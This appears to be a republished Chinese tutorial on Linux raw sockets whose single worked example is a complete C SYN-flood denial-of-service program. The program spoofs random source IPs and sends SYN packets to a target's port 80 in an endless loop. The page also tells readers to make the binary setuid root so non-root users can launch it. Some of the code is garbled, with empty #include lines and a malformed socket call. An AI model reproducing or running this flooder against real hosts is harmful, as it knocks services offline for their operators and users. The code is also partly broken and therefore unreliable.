Linux作業系統網路編程–原始通訊端 (1)

來源:互聯網
上載者:User

Linux作業系統網路編程--原始通訊端 (1)

http://soft.zdnet.com.cn/software_zone/2007/1020/568223.shtml

 

我們在前面已經學習過了網路程式的兩種通訊端(SOCK_STREAM,SOCK_DRAGM).在這一章 裡面我們一起來學習另外一種通訊端--原始通訊端(SOCK_RAW)。應用原始通訊端,我們可以編寫出由TCP和UDP通訊端不能夠實現的功能. 注意原始通訊端只能夠由有root許可權的人建立。

原始通訊端的建立

int sockfd(AF_INET,SOCK_RAW,protocol)

可以建立一個原始通訊端.根據協議的類型不同我們可以建立不同類型的原始通訊端 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.詳細的情況查看 下面我們以一個執行個體來說明原始通訊端的建立和使用

一個原始通訊端的執行個體

還記得DOS是什麼意思嗎?在這裡我們就一起來編寫一個實現DOS的小程式. 下面是程式的原始碼

#include
#include
#include
#include
#include
#include
#include
#include
#include

#define DESTPORT 80 /* 要攻擊的連接埠(WEB) */
#define LOCALPORT 8888

void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;

if(argc!=2)
{
fprintf(stderr,"Usage:%s hostnamena",argv[0]);
exit(1);
}

bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);

if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%sna",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}

/**** 使用IPPROTO_TCP建立一個TCP的原始通訊端 ****/

sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%sna",strerror(errno));
exit(1);
}
/******** 設定IP資料包格式,告訴系統核心模組IP資料包由我們自己來填寫 ***/

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

/**** 沒有辦法,只用超級護使用者才可以使用原始通訊端 *********/
setuid(getpid());

/********* 發送炸彈了!!!! ****/
send_tcp(sockfd,&addr);
}

 

/******* 發送炸彈的實現 *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100]; /**** 用來放置我們的資料包 ****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;

/******* 我們的資料包實際上沒有任何內容,所以長度就是兩個結構的長度 ***/

head_len=sizeof(struct ip)+sizeof(struct tcphdr);

bzero(buffer,100);

/******** 填充IP資料包的頭部,還記得IP的頭格式嗎? ******/
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION; /** 版本一般的是 4 **/
ip->ip_hl=sizeof(struct ip)>>2; /** IP資料包的頭部長度 **/
ip->ip_tos=0; /** 服務類型 **/
ip->ip_len=htons(head_len); /** IP資料包的長度 **/
ip->ip_id=0; /** 讓系統去填寫吧 **/
ip->ip_off=0; /** 和上面一樣,省點時間 **/
ip->ip_ttl=MAXTTL; /** 最長的時間 255 **/
ip->ip_p=IPPROTO_TCP; /** 我們要發的是 TCP包 **/
ip->ip_sum=0; /** 校正和讓系統去做 **/
ip->ip_dst=addr->sin_addr; /** 我們攻擊的對象 **/

/******* 開始填寫TCP資料包 *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port; /** 目的連接埠 **/
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1; /** 我要建立串連 **/
tcp->check=0;

/** 好了,一切都準備好了.伺服器,你準備好了沒有?? ^_^ **/
while(1)
{
/** 你不知道我是從那裡來的,慢慢的去等吧! **/
ip->ip_src.s_addr=random();

/** 什麼都讓系統做了,也沒有多大的意思,還是讓我們自己來校正頭部吧 */
/** 下面這條可有可無 */
tcp->check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
}
}

/* 下面是首部校正和的演算法,偷了別人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;

while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}

sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}

編譯一下,拿localhost做一下實驗,看看有什麼結果.(千萬不要試別人的啊). 為了讓普通使用者可以運行這個程式,我們應該將這個程式的所有者變為root,且 設定setuid位:

[root@hoyt /root]#chown root DOS
[root@hoyt /root]#chmod +s DOS

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.